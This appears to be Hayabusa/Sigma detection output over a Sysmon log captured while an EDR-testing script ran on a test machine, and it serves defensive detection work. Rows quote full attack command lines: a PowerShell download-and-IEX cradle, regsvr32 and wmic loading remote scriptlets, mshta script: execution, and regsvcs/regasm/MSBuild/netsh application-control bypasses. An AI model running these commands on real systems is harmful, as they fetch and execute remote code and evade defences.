javascript:a=GetObject(""script:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Mshta_calc.sct"").Exec();close();",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:21.567 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.215 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c powershell -c ""(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.215 +09:00,MSEDGEWIN10,1,medium,Windows Suspicious Use Of Web Request in CommandLine,,rules/sigma/process_creation/process_creation_susp_web_request_cmd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.232 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.507 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: powershell -c ""(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))"" : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c powershell -c ""(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.507 +09:00,MSEDGEWIN10,1,medium,Suspicious XOR Encoded PowerShell Command Line,,rules/sigma/process_creation/win_powershell_xor_commandline.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.507 +09:00,MSEDGEWIN10,1,medium,PowerShell Download from URL,,rules/sigma/process_creation/win_powershell_download.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.507 +09:00,MSEDGEWIN10,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.507 +09:00,MSEDGEWIN10,1,medium,Windows Suspicious Use Of Web Request in CommandLine,,rules/sigma/process_creation/process_creation_susp_web_request_cmd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.507 +09:00,MSEDGEWIN10,1,medium,Encoded PowerShell Command Line,,rules/sigma/process_creation/win_powershell_cmdline_specific_comb_methods.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:24.563 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell -c ""(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:25.202 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:28.250 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:28.250 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:28.374 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:28.374 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:29.341 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:29.341 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:29.565 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regsvcs.exe AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:29.565 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:29.646 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:29.646 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:30.074 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:34.295 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework\v2.0.50727\regasm.exe /U AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:34.295 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:34.411 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regasm.exe /U AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:34.411 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:34.483 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:39.312 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:39.312 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:39.358 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:39.358 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:39.372 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:39.907 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThings.dll : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThings.dll,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:39.907 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:44.268 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c regsvr32.exe /s /u /i:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Cmstp_calc.sct scrobj.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:44.287 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:44.641 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: regsvr32.exe /s /u /i:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Cmstp_calc.sct scrobj.dll : Path: C:\Windows\System32\regsvr32.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c regsvr32.exe /s /u /i:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Cmstp_calc.sct scrobj.dll,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:44.641 +09:00,MSEDGEWIN10,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:44.641 +09:00,MSEDGEWIN10,1,high,Regsvr32 Flags Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_flags_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:45.581 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: regsvr32.exe /s /u /i:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Cmstp_calc.sct scrobj.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:46.095 +09:00,MSEDGEWIN10,3,high,Regsvr32 Network Activity,,rules/sigma/network_connection/sysmon_regsvr32_network_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:49.748 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe xxxFile.csproj : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:49.748 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:49.889 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:50.104 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe xxxFile.csproj : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe xxxFile.csproj,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:50.104 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:53.776 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c wmic process get brief /format:""https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Wmic_calc.xsl"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:53.843 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:54.246 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: wmic process get brief /format:""https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Wmic_calc.xsl"" : Path: C:\Windows\System32\wbem\WMIC.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c wmic process get brief /format:""https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Wmic_calc.xsl""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:54.246 +09:00,MSEDGEWIN10,1,medium,XSL Script Processing,,rules/sigma/process_creation/win_xsl_script_processing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:54.246 +09:00,MSEDGEWIN10,1,medium,SquiblyTwo,,rules/sigma/process_creation/win_bypass_squiblytwo.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:54.630 +09:00,MSEDGEWIN10,11,high,Windows Shell File Write to Suspicious Folder,,rules/sigma/file_event/file_event_win_shell_write_susp_directory.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:54.718 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: wmic process get brief /format:""https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Wmic_calc.xsl""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:58.256 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c netsh trace start capture=yes filemode=append persistent=yes tracefile=trace.etl : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:58.256 +09:00,MSEDGEWIN10,1,medium,Capture a Network Trace with netsh.exe,,rules/sigma/process_creation/win_netsh_packet_capture.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:58.286 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c netsh trace show status : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:58.485 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c netsh.exe add helper AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:58.543 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8000 connectaddress=192.168.1.1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:58.598 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:58.683 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c netsh trace stop : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.330 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: netsh trace show status : Path: C:\Windows\System32\netsh.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c netsh trace show status ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.420 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: netsh trace start capture=yes filemode=append persistent=yes tracefile=trace.etl : Path: C:\Windows\System32\netsh.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c netsh trace start capture=yes filemode=append persistent=yes tracefile=trace.etl ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.420 +09:00,MSEDGEWIN10,1,medium,Capture a Network Trace with netsh.exe,,rules/sigma/process_creation/win_netsh_packet_capture.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.434 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: netsh trace stop : Path: C:\Windows\System32\netsh.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c netsh trace stop,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.442 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0 : Path: C:\Windows\System32\netsh.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c netsh interface portproxy delete v4tov4 listenport=8080 